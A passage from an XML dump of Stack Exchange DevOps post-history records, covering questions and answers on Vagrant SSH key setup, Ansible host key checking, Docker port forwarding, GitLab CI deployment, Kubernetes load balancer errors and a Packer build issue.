/home/vagrant/.ssh/config&#xD;&#xA;         echo 'UserKnownHostsFile /dev/null' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         chmod -R 600 /home/vagrant/.ssh/config&#xD;&#xA;         &quot;, privileged: false&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4134" PostHistoryTypeId="2" PostId="1249" RevisionGUID="18381c7b-e8b7-43bb-9e0c-92458a471400" CreationDate="2017-05-26T11:36:48.807" UserId="339" Text="When I encountered a related problem, I wound up having Jinja run execute Salt modules.&#xA;&#xA;In my case, it was `cmd.run` to run `mktmp` (and, at the end of the template, `rm` for cleanup), with `file.append` and `file.grep`, though in your case, you might be able to use Salt's `load_yaml` extension to Jinja.&#xA;&#xA;So, something like this (rough, untested): &#xA;&#xA;    {% set tmpfile = salt['cmd.run']('mktmp') -%}&#xA;    {% salt['file.append']('my_key: ' ~ your_key) -%}&#xA;    {% set my_key = load_yaml(tmpfile)['my_key'] -%}&#xA;    {% salt['file.remove'](tmpfile) %}&#xA;&#xA;This certainly isn't the best place to put data, but it demonstrated using calling into Salt modules from Jinja to store data. I don't know of any existing Salt modules suitable for storing ephemeral data that only lives as long as the templates compile. I'll check back later and see what other solutions might work." ContentLicense="CC BY-SA 3.0" />
  <row Id="4135" PostHistoryTypeId="2" PostId="1250" RevisionGUID="6ef1fbf6-93d3-4a02-85c9-45158459d31f" CreationDate="2017-05-26T14:05:23.167" UserId="887" Text="There is a `&quot;Jenkins Disable Job&quot;` plugin, which you can use in your pipeline to disable the job on failure.&#xD;&#xA;&#xD;&#xA;You will be able to use this plugin for single failure or to disable after multiple failures.&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins-ci.org/display/JENKINS/Disable+Failed+Job+Plugin&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4138" PostHistoryTypeId="2" PostId="1252" RevisionGUID="d3f2c3bd-7c2d-4bc6-932e-f67aa88fc730" CreationDate="2017-05-26T20:44:20.143" UserId="144" Text="This is typically done in by setting the following value in `ansible.cfg`:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    host_key_checking = False&#xD;&#xA;&#xD;&#xA;If you don't want to modify `ansible.cfg` you can set an environment variable like so:&#xD;&#xA;&#xD;&#xA;    export ANSIBLE_HOST_KEY_CHECKING=False&#xD;&#xA;&#xD;&#xA;Source: http://docs.ansible.com/ansible/intro_getting_started.html#host-key-checking" ContentLicense="CC BY-SA 3.0" />
  <row Id="4139" PostHistoryTypeId="5" PostId="726" RevisionGUID="bcb7a714-1230-41fa-ab9d-ede41b2388e4" CreationDate="2017-05-27T05:25:39.413" UserId="739" Comment="formatting" Text="In your `ansible.cfg` file you need to add the following line:&#xD;&#xA;&#xD;&#xA;    ssh_args = -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no&#xD;&#xA;&#xD;&#xA;You could also add those options in your `~/.ssh/config` on every machine from which you run it something like this:&#xD;&#xA;&#xD;&#xA;    Host *&#xD;&#xA;       StrictHostKeyChecking no&#xD;&#xA;       UserKnownHostsFile=/dev/null" ContentLicense="CC BY-SA 3.0" />
  <row Id="4140" PostHistoryTypeId="24" PostId="726" RevisionGUID="bcb7a714-1230-41fa-ab9d-ede41b2388e4" CreationDate="2017-05-27T05:25:39.413" Comment="Proposed by 739 approved by 228 edit id of 353" ContentLicense="CC BY-SA 3.0" />
  <row Id="4141" PostHistoryTypeId="5" PostId="1247" RevisionGUID="13a9557c-28bd-4bf3-83f4-bb25ac955a52" CreationDate="2017-05-27T05:50:03.190" UserId="375" Comment="improve formatting, link to the referenced answer" Text="Based on [techraf's 3rd suggestion](https://devops.stackexchange.com/a/1241/375) I did the following:&#xD;&#xA;&#xD;&#xA; - `vagrant up ansible`&#xD;&#xA; - `ssh-keygen` (no password just pressed &lt;kbd&gt;Enter&lt;/kbd&gt;)&#xD;&#xA; - copied `.ssh/id_rsa` and `.ssh/id_rsa` to the project&#xD;&#xA; - `vagrant destroy ansible`&#xD;&#xA; - modified the `Vagrantfile` to copy the `id_rsa` to all hosts&#xD;&#xA; - modified the `Vagrantfile` to copy the `id_rsa.pub` into `authorized_keys` on all hosts&#xD;&#xA; - modified the Vagrantfile to disable host checking&#xD;&#xA;&#xD;&#xA;Vagrantfile snippet:&#xD;&#xA;&#xD;&#xA;     config.vm.provision &quot;file&quot;, source: &quot;id_rsa&quot;, destination: &quot;/home/vagrant/.ssh/id_rsa&quot;&#xD;&#xA;     public_key = File.read(&quot;id_rsa.pub&quot;)&#xD;&#xA;     config.vm.provision :shell, :inline =&gt;&quot;&#xD;&#xA;         echo 'Copying ansible-vm public SSH Keys to the VM'&#xD;&#xA;         mkdir -p /home/vagrant/.ssh&#xD;&#xA;         chmod 700 /home/vagrant/.ssh&#xD;&#xA;         echo '#{public_key}' &gt;&gt; /home/vagrant/.ssh/authorized_keys&#xD;&#xA;         chmod -R 600 /home/vagrant/.ssh/authorized_keys&#xD;&#xA;         echo 'Host 192.168.*.*' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         echo 'StrictHostKeyChecking no' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         echo 'UserKnownHostsFile /dev/null' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         chmod -R 600 /home/vagrant/.ssh/config&#xD;&#xA;         &quot;, privileged: false&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4142" PostHistoryTypeId="24" PostId="1247" RevisionGUID="13a9557c-28bd-4bf3-83f4-bb25ac955a52" CreationDate="2017-05-27T05:50:03.190" Comment="Proposed by 375 approved by 228, 40 edit id of 352" ContentLicense="CC BY-SA 3.0" />
  <row Id="4143" PostHistoryTypeId="2" PostId="1253" RevisionGUID="72e388fc-e66c-4637-b405-8e313799b912" CreationDate="2017-05-27T06:53:48.833" UserId="465" Text="In an environment of Secured [Virtual Private Clouds][1], in a Cluster of [Docker][2] Containers, we have to setup some routes. &#xD;&#xA;&#xD;&#xA;We can do that with the [Ambassador pattern][3], which is simple and easy to maintain. (Docker does have some usage of IPTables under the hood - but from what I can see the Ambassador pattern uses socat, and not IPTables to achieve its forwarding. &#xD;&#xA;&#xD;&#xA;We can setup [NAT][4] rules with [IPTables][5] to achieve a similar goal. &#xD;&#xA;&#xD;&#xA;My question is: **When would I choose IPTables over an Ambassador pattern for port forwarding?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Virtual_private_cloud&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Docker_(software)&#xD;&#xA;  [3]: https://docs.docker.com/engine/admin/ambassador_pattern_linking/&#xD;&#xA;  [4]: https://wiki.untangle.com/index.php/NAT_Rules&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Iptables" ContentLicense="CC BY-SA 3.0" />
  <row Id="4144" PostHistoryTypeId="1" PostId="1253" RevisionGUID="72e388fc-e66c-4637-b405-8e313799b912" CreationDate="2017-05-27T06:53:48.833" UserId="465" Text="When would I choose IPTables over an Ambassador pattern for port forwarding?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4145" PostHistoryTypeId="3" PostId="1253" RevisionGUID="72e388fc-e66c-4637-b405-8e313799b912" CreationDate="2017-05-27T06:53:48.833" UserId="465" Text="&lt;docker&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4146" PostHistoryTypeId="19" PostId="797" RevisionGUID="3202cc5a-57b5-4ee9-a8ba-cfef50bf47b3" CreationDate="2017-05-27T09:09:22.510" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="4147" PostHistoryTypeId="2" PostId="1254" RevisionGUID="ac1a7813-833f-40eb-b957-bf19c3a63eda" CreationDate="2017-05-28T01:26:38.173" UserId="465" Text="There is a great discussion of the Cattle vs Pets distinction from [Randy Bias][1] [here][2]. [Martin Fowler][3] talks about a [SnowFlakeServer][4]. &#xD;&#xA;&#xD;&#xA;In a [series of talks][5], [Adrian Cockcroft][6] talks about how they moved toward Cattle Servers for solving a scalability problem at [Netflix][7]. &#xD;&#xA;&#xD;&#xA;The challenge with this distinction is always [managing persistent state][8]. Does it make sense to treat your database servers as Cattle? It does if you (a) manage the state outside of your cattle model (external volumes for your docker containers), or (b) use a distributed database like [Cassandra][9] that allows for individual nodes to fail, but still maintain state in the cluster. &#xD;&#xA;&#xD;&#xA;I get that you can get very close to the 'disposability with persistent state' of Docker containers mounting a shared volume, with launching AMIs to machine instances mounting a shared drive. You can get closer this this idea of scheduled cluster management by having an autoscaling group that recreates machines that you've blown away. &#xD;&#xA;&#xD;&#xA;To me - the machine instances lack the granularity of a docker container. They gravitate more towards the 'pets' end of the spectrum. &#xD;&#xA;&#xD;&#xA;My question is: **Does the &quot;cattle not pets&quot; distinction apply as equally to machine instances as to containers?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/654/465&#xD;&#xA;  [3]: https://martinfowler.com/aboutMe.html&#xD;&#xA;  [4]: https://martinfowler.com/bliki/SnowflakeServer.html&#xD;&#xA;  [5]: https://www.youtube.com/watch?v=pwpxq9-uw_0&#xD;&#xA;  [6]: https://twitter.com/adrianco?lang=en&#xD;&#xA;  [7]: https://www.quora.com/What-technology-stack-is-Netflix-built-on&#xD;&#xA;  [8]: https://www.hostworks.com.au/pets-versus-cattle-thinking-infrastructure-isnt-enough/&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Cassandra" ContentLicense="CC BY-SA 3.0" />
  <row Id="4148" PostHistoryTypeId="1" PostId="1254" RevisionGUID="ac1a7813-833f-40eb-b957-bf19c3a63eda" CreationDate="2017-05-28T01:26:38.173" UserId="465" Text="Does the &quot;cattle not pets&quot; distinction apply as equally to machine instances as to containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4149" PostHistoryTypeId="3" PostId="1254" RevisionGUID="ac1a7813-833f-40eb-b957-bf19c3a63eda" CreationDate="2017-05-28T01:26:38.173" UserId="465" Text="&lt;docker&gt;&lt;containers&gt;&lt;autoscaling&gt;&lt;amazon-ami&gt;&lt;cattle-vs-pet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4151" PostHistoryTypeId="2" PostId="1255" RevisionGUID="89cf668c-c849-427a-8896-cb2d3b1d9885" CreationDate="2017-05-28T23:20:13.363" UserId="2935" Text="When we use Linux, Docker can create a rule using iptables to do a port redirection to connect in the http of a container.&#xD;&#xA;&#xD;&#xA;When we use windows, how this works? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4152" PostHistoryTypeId="1" PostId="1255" RevisionGUID="89cf668c-c849-427a-8896-cb2d3b1d9885" CreationDate="2017-05-28T23:20:13.363" UserId="2935" Text="Who redirect ports on Windows to access http container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4153" PostHistoryTypeId="3" PostId="1255" RevisionGUID="89cf668c-c849-427a-8896-cb2d3b1d9885" CreationDate="2017-05-28T23:20:13.363" UserId="2935" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4154" PostHistoryTypeId="5" PostId="1255" RevisionGUID="b2de2a93-2521-4614-9e2a-bb93718789c1" CreationDate="2017-05-29T04:36:32.527" UserId="47" Comment="fixed grammar" Text="When we use Linux, Docker can create a rule using iptables to do a port redirection to connect in the http of a container.&#xD;&#xA;&#xD;&#xA;When we use Windows, how does this work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4155" PostHistoryTypeId="2" PostId="1256" RevisionGUID="18137eca-1c3c-4ff3-be6f-922481feaaaa" CreationDate="2017-05-29T08:52:08.700" UserId="2822" Text="it uses the Hyper-V Virtual Switch (https://docs.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/container-networking)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4157" PostHistoryTypeId="2" PostId="1257" RevisionGUID="b12afb56-50a8-48a2-adde-d392d6ca73d4" CreationDate="2017-05-29T13:52:12.553" UserId="2951" Text="When I try to deploy jenkins-ephemeral on openshift 1.5, it fails with the following error message&#xD;&#xA;&#xD;&#xA;    error: couldn't get deployment jenkins-3: Get https://172.30.0.1:443/api/v1/namespaces/projectname/replicationcontrollers/jenkins-3: dial tcp 172.30.0.1:443: getsockopt: network is unreachable&#xD;&#xA;&#xD;&#xA;I have services enabled&#xD;&#xA;&#xD;&#xA;    oc get services&#xD;&#xA;    NAME           CLUSTER-IP       EXTERNAL-IP   PORT(S)     AGE&#xD;&#xA;    jenkins        172.30.86.254    &lt;none&gt;        80/TCP      59m&#xD;&#xA;    jenkins-jnlp   172.30.132.179   &lt;none&gt;        50000/TCP   59m&#xD;&#xA;&#xD;&#xA;but from the node I can't telnet to port 80 of 172.30.86.254&#xD;&#xA;&#xD;&#xA;    telnet: connect to address 172.30.86.254: Connection refused&#xD;&#xA;&#xD;&#xA;but the 443 port of the same machine is reachable." ContentLicense="CC BY-SA 3.0" />
  <row Id="4158" PostHistoryTypeId="1" PostId="1257" RevisionGUID="b12afb56-50a8-48a2-adde-d392d6ca73d4" CreationDate="2017-05-29T13:52:12.553" UserId="2951" Text="openshift fails to deploy jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="4159" PostHistoryTypeId="3" PostId="1257" RevisionGUID="b12afb56-50a8-48a2-adde-d392d6ca73d4" CreationDate="2017-05-29T13:52:12.553" UserId="2951" Text="&lt;jenkins&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4161" PostHistoryTypeId="2" PostId="1258" RevisionGUID="7533fb1f-fe3e-4617-9cdd-9146d60a41c0" CreationDate="2017-05-29T20:47:57.660" UserId="2956" Text="You missed a point that there's still a need in balancing traffic before nodes in Docker cluster, and ELB is great for it (managed cluster, healthchecks, you don't pay for number of ELB instances per VPC, you can spawn spare nodes and register them in ELB automagically with Cloudwatch), great [discussion][1] on ServerFault. Basically, external balancer will split traffic between *all* nodes, while internal balancers will route it to nodes where service containers are running (which is where routing mesh is used).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/a/209318" ContentLicense="CC BY-SA 3.0" />
  <row Id="4175" PostHistoryTypeId="2" PostId="1262" RevisionGUID="0b491cac-54cd-44e9-ab29-40539ef7cada" CreationDate="2017-05-30T17:09:41.437" UserId="210" Text="[Gatling][1] creates an HTML report:&#xD;&#xA;&#xD;&#xA;    Reports generated in 0s.&#xD;&#xA;    Please open the following file: /path/to/target/gatling/recordedsimulation-1496161958749/index.html&#xD;&#xA;    [info] Simulation RecordedSimulation successful.&#xD;&#xA;    [info] Simulation(s) execution ended.&#xD;&#xA;    [success] Total time: 31 s, completed May 30, 2017 6:32:57 PM&#xD;&#xA;&#xD;&#xA;What are best practices to read the output and check whether it is acceptable, i.e. if a certain value is larger and smaller than X? Should one create a custom script or does Gatling itself provide such a functionality?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gatling.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4176" PostHistoryTypeId="1" PostId="1262" RevisionGUID="0b491cac-54cd-44e9-ab29-40539ef7cada" CreationDate="2017-05-30T17:09:41.437" UserId="210" Text="What are best practices to implement Gatling in CI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4177" PostHistoryTypeId="3" PostId="1262" RevisionGUID="0b491cac-54cd-44e9-ab29-40539ef7cada" CreationDate="2017-05-30T17:09:41.437" UserId="210" Text="&lt;continuous-integration&gt;&lt;gatling&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4178" PostHistoryTypeId="2" PostId="1263" RevisionGUID="b29fd8f9-4559-42e9-9b54-0122ba4fc925" CreationDate="2017-05-30T17:28:54.013" UserId="2845" Text="While technologically containers and virtual machines are very different, there is no apparent difference to your software. Your argument here is that data is special and will always be a unique snowflake so your question basically boils down to what to do about it.&#xD;&#xA;&#xD;&#xA;This is the perpetual challenge of the model. Either A) your data will be in a database or B) a datastore so how do you manage that?&#xD;&#xA;&#xD;&#xA;The answer is that yes, your database servers can and should also be treated as cattle - and [I recently detailed several techniques and technologies for doing so](https://devops.stackexchange.com/a/1220/2845) in house. If you don't treat your data storage (databases, storage filers) as cattle you will find you have a single points of failure within your data(base) infrastructure and a lack of scalability and redundancy. These techniques I discuss in my linked answer basically allow you to distribute and cluster your relational database in a manner similar to Cassandra.&#xD;&#xA;&#xD;&#xA;Managing your data(bases) and making data(bases) redundant is probably the most difficult challenge facing DevOps. The easiest way to solve the problem: outsource the headache to a cloud provider.&#xD;&#xA;&#xD;&#xA;So in short, yes the &quot;cattle not pets&quot; distinction apply as equally to machine instances as to containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4179" PostHistoryTypeId="2" PostId="1264" RevisionGUID="b4d12c5a-3924-4088-a035-13a32fcde4b9" CreationDate="2017-05-30T17:50:37.577" UserId="739" Text="`iptables` will probably scale better than `socat` because it runs completely in user space.  There's a common impression that `iptables` is hard to deal with, but I find it easier that most routers to fiddle with.  There are a number of `iptables` wrappers available to make it easier to handle.&#xD;&#xA;&#xD;&#xA;If you're willing to accept the performance hit of running in user space then consider `haproxy` over `socat` because it is intended to run over longer periods and provides statistics, failover, SSL termination, and lots of other conveniences." ContentLicense="CC BY-SA 3.0" />
  <row Id="4180" PostHistoryTypeId="2" PostId="1265" RevisionGUID="a3fbf2bd-928c-4dc1-9835-e8aa976731d9" CreationDate="2017-05-31T02:40:59.890" UserId="2979" Text="Conceptional this approach is not the way to go, the build dir is not a deployment did, it's a temporally directory, to build or to deploy **from**, whereas on a shell executor this could be fixed.&#xD;&#xA;&#xD;&#xA;So what you need is to deploy from that directory with a script as per `gitlab-ci.yml` below, to the correct directory of deployment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - deploy&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      TARGET_DIR: /home/ab12/public_html/$CI_PROJECT_NAME&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;         mkdir -pv $TARGET_DIR&#xD;&#xA;         rsync -r --delete ./ $TARGET_DIR&#xD;&#xA;      tags:&#xD;&#xA;        - myrunner&#xD;&#xA;&#xD;&#xA;This will move your `projectfiles` in /home/ab12/public_html/&lt;projectname&gt;&#xD;&#xA;&#xD;&#xA;naming your projects as `project1` .. `projectn`, all your projects could use this same `.gitlab-ci.yml` file.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4181" PostHistoryTypeId="2" PostId="1266" RevisionGUID="13dcc926-e468-4ab6-bd10-304bbc72c2dd" CreationDate="2017-05-31T05:52:24.587" UserId="2980" Text="We recently moved some of our production infrastructure to Kubernetes. Many pods are exposed through a `LoadBalancer` service on AWS. This creates an ELB, registers each node in the cluster with the ELB, and configures a node port to map ELB ports to pods. Our applications are able to connect via the load balancer, but amount of `BackendConnectionErrors` (as reported by cloudwatch) is 5-7x higher than request count. I'm not sure how to debug this.&#xD;&#xA;&#xD;&#xA;The number of reported backend connection errors does not correlate with any application layer error metrics. This leaves me to conclude that it some sort of infrastructure problem perhaps being amplified by retries. However I do not know how to debug this issue.&#xD;&#xA;&#xD;&#xA;My hypothesis is one or both of these:&#xD;&#xA;&#xD;&#xA;* Some weird AWS setting that is missing on the ELB for connection management&#xD;&#xA;* Nodes in the cluster have some sysctl setting or other networking config that's blocking the *amount* of connections coming over the ELB&#xD;&#xA;* Some intermediate piece of networking infrastructure messing with the connections.&#xD;&#xA;&#xD;&#xA;My question is: how I can debug/trace some TCP/networking related metrics on the instances in the cluster? &#xD;&#xA;&#xD;&#xA;More info about the [CloudWatch metrics](http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-cloudwatch-metrics.html) in question." ContentLicense="CC BY-SA 3.0" />
  <row Id="4182" PostHistoryTypeId="1" PostId="1266" RevisionGUID="13dcc926-e468-4ab6-bd10-304bbc72c2dd" CreationDate="2017-05-31T05:52:24.587" UserId="2980" Text="Debug BackendConnectionErrors from Kubernetes Service LoadBalancer sesrvice" ContentLicense="CC BY-SA 3.0" />
  <row Id="4183" PostHistoryTypeId="3" PostId="1266" RevisionGUID="13dcc926-e468-4ab6-bd10-304bbc72c2dd" CreationDate="2017-05-31T05:52:24.587" UserId="2980" Text="&lt;amazon-web-services&gt;&lt;linux&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4184" PostHistoryTypeId="34" PostId="1204" RevisionGUID="a3dd8d88-1556-4cd0-a3ad-ea1e939bef04" CreationDate="2017-05-31T07:54:23.107" UserId="2834" Comment="4" />
  <row Id="4186" PostHistoryTypeId="4" PostId="1112" RevisionGUID="93e6d019-9d4b-4bfa-ba38-97e903e47e24" CreationDate="2017-05-31T09:16:18.450" UserId="14" Comment="Capitalisation" Text="Changing the build intermediate paths for gitlab-runner" ContentLicense="CC BY-SA 3.0" />
  <row Id="4187" PostHistoryTypeId="5" PostId="1265" RevisionGUID="fe6190ea-6f7f-4601-8679-861484adc724" CreationDate="2017-05-31T09:17:03.693" UserId="14" Comment="added 6 characters in body" Text="Conceptually, this approach is not the way to go; the build directory is not a deployment did, it's a temporary directory, to build or to deploy **from**, whereas on a shell executor this could be fixed.&#xD;&#xA;&#xD;&#xA;So what you need is to deploy from that directory with a script as per `gitlab-ci.yml` below, to the correct directory of deployment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - deploy&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      TARGET_DIR: /home/ab12/public_html/$CI_PROJECT_NAME&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;         mkdir -pv $TARGET_DIR&#xD;&#xA;         rsync -r --delete ./ $TARGET_DIR&#xD;&#xA;      tags:&#xD;&#xA;        - myrunner&#xD;&#xA;&#xD;&#xA;This will move your `projectfiles` in /home/ab12/public_html/&lt;projectname&gt;&#xD;&#xA;&#xD;&#xA;naming your projects as `project1` .. `projectn`, all your projects could use this same `.gitlab-ci.yml` file.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4188" PostHistoryTypeId="5" PostId="1237" RevisionGUID="bf3353cf-5b59-41be-a24d-0ddb175c04c0" CreationDate="2017-05-31T09:18:17.057" UserId="14" Comment="No Need To Use Title Case" Text="I have 4 VMs in my Vagrantfile - 3 application servers and an Ansible control host.&#xD;&#xA;&#xD;&#xA;I only use Vagrant to create the VMs as I provision them manually from the ansible control host because I am still creating/editing the ansible scripts.&#xD;&#xA;&#xD;&#xA;I can do `vagrant ssh ansible` and `vagrant ssh app1/2/3` etc. but when I try to do `ansible-playbook oracle.yml` from the Ansible control host, SSH fails with&#xD;&#xA;&#xD;&#xA;    fatal: [192.168.60.10]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;SSH encountered an unknown error during the connection. We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;&#xD;&#xA;I can successfully ssh from the Ansible VM to the Oracle VM using user vagrant and password vagrant.&#xD;&#xA;&#xD;&#xA;The key parts of my Vagrantfile are:&#xD;&#xA;&#xD;&#xA;    config.ssh.insert_key = false&#xD;&#xA;&#xD;&#xA;    config.vm.define &quot;db&quot; do |db|&#xD;&#xA;        db.vm.box = &quot;boxcutter/ol67&quot;&#xD;&#xA;        db.vm.hostname = &quot;oracle-vm&quot;&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2201, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 1521, host: 1521&#xD;&#xA;        db.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.10&quot;&#xD;&#xA;        db.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.name = &quot;oracle-vm&quot;&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;            v.memory = 2048&#xD;&#xA;            v.cpus = 2&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;    #Optional ansible control machine for Windows users&#xD;&#xA;    config.vm.define &quot;ansible&quot;, autostart: false do |ansible|&#xD;&#xA;        ansible.vm.box = &quot;williamyeh/ansible&quot;&#xD;&#xA;        ansible.vm.hostname = &quot;ansible-vm&quot;&#xD;&#xA;        ansible.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2204, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        ansible.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.50&quot;&#xD;&#xA;        ansible.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;        end&#xD;&#xA;        #Mount the project directory on the guest so we can run the playbooks from there&#xD;&#xA;        ansible.vm.synced_folder &quot;.&quot;, &quot;/data/ansible&quot;, create: true&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;What do I need to put in the Vagrantfile to allow the Ansible VM to connect to the other VMs without requiring a password or extra manual steps after `vagrant up`? &#xD;&#xA;&#xD;&#xA;This is just for development testing on a private network on developers PCs so security is not really an issue and comes second to ease of implementation and smooth user experience." ContentLicense="CC BY-SA 3.0" />
  <row Id="4189" PostHistoryTypeId="4" PostId="1237" RevisionGUID="bf3353cf-5b59-41be-a24d-0ddb175c04c0" CreationDate="2017-05-31T09:18:17.057" UserId="14" Comment="No Need To Use Title Case" Text="How do I configure SSH keys in a Vagrant multi-machine setup?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4190" PostHistoryTypeId="5" PostId="1265" RevisionGUID="e861e9e3-dc28-4bdd-9255-151c7d636b8d" CreationDate="2017-05-31T12:20:05.913" UserId="2979" Comment="fix spelling" Text="Conceptually, this approach is not the way to go; the build directory is not a deployment directory, it's a temporary directory, to build or to deploy **from**, whereas on a shell executor this could be fixed.&#xD;&#xA;&#xD;&#xA;So what you need is to deploy from that directory with a script as per `gitlab-ci.yml` below, to the correct directory of deployment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - deploy&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      TARGET_DIR: /home/ab12/public_html/$CI_PROJECT_NAME&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;         mkdir -pv $TARGET_DIR&#xD;&#xA;         rsync -r --delete ./ $TARGET_DIR&#xD;&#xA;      tags:&#xD;&#xA;        - myrunner&#xD;&#xA;&#xD;&#xA;This will move your `projectfiles` in /home/ab12/public_html/&lt;projectname&gt;&#xD;&#xA;&#xD;&#xA;naming your projects as `project1` .. `projectn`, all your projects could use this same `.gitlab-ci.yml` file.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4191" PostHistoryTypeId="5" PostId="1264" RevisionGUID="ef380ad7-eb0e-4a24-9480-cb5b481b7f85" CreationDate="2017-05-31T12:42:10.060" UserId="739" Comment="which is in user space" Text="`iptables` will probably scale better than `socat` because `socat` runs completely in user space.  There's a common impression that `iptables` is hard to deal with, but I find it easier that most routers to fiddle with.  There are a number of `iptables` wrappers available to make it easier to handle.&#xD;&#xA;&#xD;&#xA;If you're willing to accept the performance hit of running in user space then consider `haproxy` over `socat` because it is intended to run over longer periods and provides statistics, failover, SSL termination, and lots of other conveniences." ContentLicense="CC BY-SA 3.0" />
  <row Id="4192" PostHistoryTypeId="2" PostId="1267" RevisionGUID="73b96fd7-64f5-4783-b07c-c51efa60ee9e" CreationDate="2017-05-31T13:32:15.460" UserId="2708" Text="With the current Github outage, I noticed a problem with my [packer][1] setup. In a nutshell, I have a packer setup where I call a shell script that looks like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    set -e&#xD;&#xA;    ...&#xD;&#xA;    npm install&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I expected that if there is any error during `npm install`, the script should fail and packer should abort. What I found out is that the script continued, even though the output looks like this:&#xD;&#xA;&#xD;&#xA;    amazon-ebs: + npm install&#xD;&#xA;    amazon-ebs: npm ERR! fetch failed http://github.com/component/emitter/archive/1.0.1.tar.gz&#xD;&#xA;    amazon-ebs: npm WARN retry will retry, error on last attempt: Error: connect ETIMEDOUT 192.30.253.112:80&#xD;&#xA;    amazon-ebs: npm ERR! fetch failed https://github.com/LearnBoost/node-XMLHttpRequest/archive/0f36d0b5ebc03d85f860d42a64ae9791e1daa433.tar.gz&#xD;&#xA;    amazon-ebs: npm WARN retry will retry, error on last attempt: Error: fetch failed with status code 502&#xD;&#xA;    amazon-ebs: npm ERR! fetch failed https://github.com/component/global/archive/v2.0.1.tar.gz&#xD;&#xA;    amazon-ebs: npm WARN retry will retry, error on last attempt: Error: connect ETIMEDOUT 192.30.253.113:443&#xD;&#xA;    amazon-ebs: npm WARN deprecated node-uuid@1.4.8: Use uuid module instead&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: &gt; ws@0.4.31 install /opt/socks-proxy/node_modules/tomahawk/node_modules/socket.io/node_modules/engine.io/node_modules/ws&#xD;&#xA;    amazon-ebs: &gt; (node-gyp rebuild 2&gt; builderror.log) || (exit 0)&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: make: Entering directory 